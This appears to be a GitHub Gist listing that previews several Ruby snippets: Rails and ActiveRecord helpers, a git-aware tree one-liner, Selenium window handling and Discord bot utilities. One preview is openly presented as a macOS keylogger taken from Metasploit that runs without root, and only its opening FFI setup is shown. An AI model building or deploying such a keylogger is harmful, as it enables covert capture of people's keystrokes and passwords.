Skip to content

Instantly share code, notes, and snippets.

View distinct-active-record-bug.rb
gem 'rails', github: 'rails/rails'
require 'active_record'
`dropdb bug_1; createdb bug_1`
ActiveRecord::Base.establish_connection(
adapter: 'postgresql',
database: 'bug_1',
host: 'localhost',
@localhostdotdev
localhostdotdev / relative-past-time.rb
Last active Feb 24, 2019
Get relative time in the past (with a shorter output option)
View relative-past-time.rb
class RelativeTime
MINUTE = 60
HOUR = 60 * MINUTE
DAY = 24 * HOUR
WEEK = 7 * DAY
MONTH = 4 * WEEK
YEAR = 12 * MONTH
def self.for(date_to, date_from = Time.zone.now, short: false)
diff = (date_from.to_time - date_to.to_time).round
@localhostdotdev
localhostdotdev / gittree.md
Created Feb 25, 2019
Like `tree` but takes into account the `.gitignore` file
View gittree.md

Made a working one with only ruby and git as a dependency:

One liner to type in irb:

def format(file); split = file.split('/'); return file unless split.size > 1; "│  " * (split.size - 2) + "└── " + split.last; end; def list(dir, start: true); puts dir if start; `git ls-tree master "#{dir}" --name-only`.split("\n").sort.each { |line| split = line.split('/'); puts format(line); list(line + '/', start: false) if File.directory?(line)  }; end; list('.')

And as a more proper script:

@localhostdotdev
localhostdotdev / macos-keylogger.rb
Last active Feb 25, 2019
Ruby macOS/OXS keylogger. Doesn't require root, just to be ran as a normal user. Extracted from metasploit. https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb
View macos-keylogger.rb
require 'thread'
require 'fiddle'
require 'fiddle/import'
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Fiddle::Importer
@localhostdotdev
localhostdotdev / 20.json
Last active Jul 22, 2019
Twitter datacenters by id, located by tweets around with the corresponding ids, best viewed on Github Desktop version (not on mobile's github). Each file name is a datacenter id, the points on the map are the different users who used that datacenter
View 20.json
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View twitter-datacenters.json
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@localhostdotdev
localhostdotdev / managing-windows-selenium-capybara.md
Last active Mar 1, 2019
Managing windows with Selenium / Capybara in Ruby
View managing-windows-selenium-capybara.md

Capybara 3.13.2 / Ruby 2.5.0 / selenium-webdriver (3.141.0) / chromedriver-helper (2.1.0) / ChromeDriver 2.34.522932

Setup

require 'selenium-webdriver'
require 'capybara/dsl'

class C
  extend Capybara::DSL
View d014d5a.diff
From d014d5aea90694868859755f321c41f398bdd55c Mon Sep 17 00:00:00 2001
From: Matt Reynolds <mattreynolds@google.com>
Date: Wed, 13 Mar 2019 17:47:00 -0700
Subject: [PATCH] Improve support for Nintendo Switch gamepads
This adds support for Nintendo Switch controllers through Gamepad API:
* Switch Pro (USB and Bluetooth)
* Joy-Con L (Bluetooth)
* Joy-Con R (Bluetooth)
* Joy-Con L+R (Bluetooth)
@localhostdotdev
localhostdotdev / commands.rb
Created Mar 17, 2019
Handle errors in all Discord commands with discordrb (also formats those errors while only keeping the path in the stacktrace relative to the project's root) (only Rails.root is Rails-specific, rest is pure ruby)
View commands.rb
module Discord
module Commands
extend Discordrb::Commands::CommandContainer
def self.handle_errors(e)
if e.is_a?(Discordrb::Errors::MessageTooLong)
"Message too long"
else
str = "#{Format.inline(e.message}\n"
str += Format.code(e.backtrace.grep(/#{Rails.root.to_s}/).map { |s| s.gsub(Rails.root.to_s, "") }.join("\n"))
@localhostdotdev
localhostdotdev / format.rb
Created Mar 17, 2019
Formats your strings for discord messages (with fixes around their buggy markdown) #discord #discordrb #ruby
View format.rb
class Format
ZERO_WIDTH = "​"
def self.i(str)
"_#{str}_"
end
def self.b(str)
"**#{str}**"
end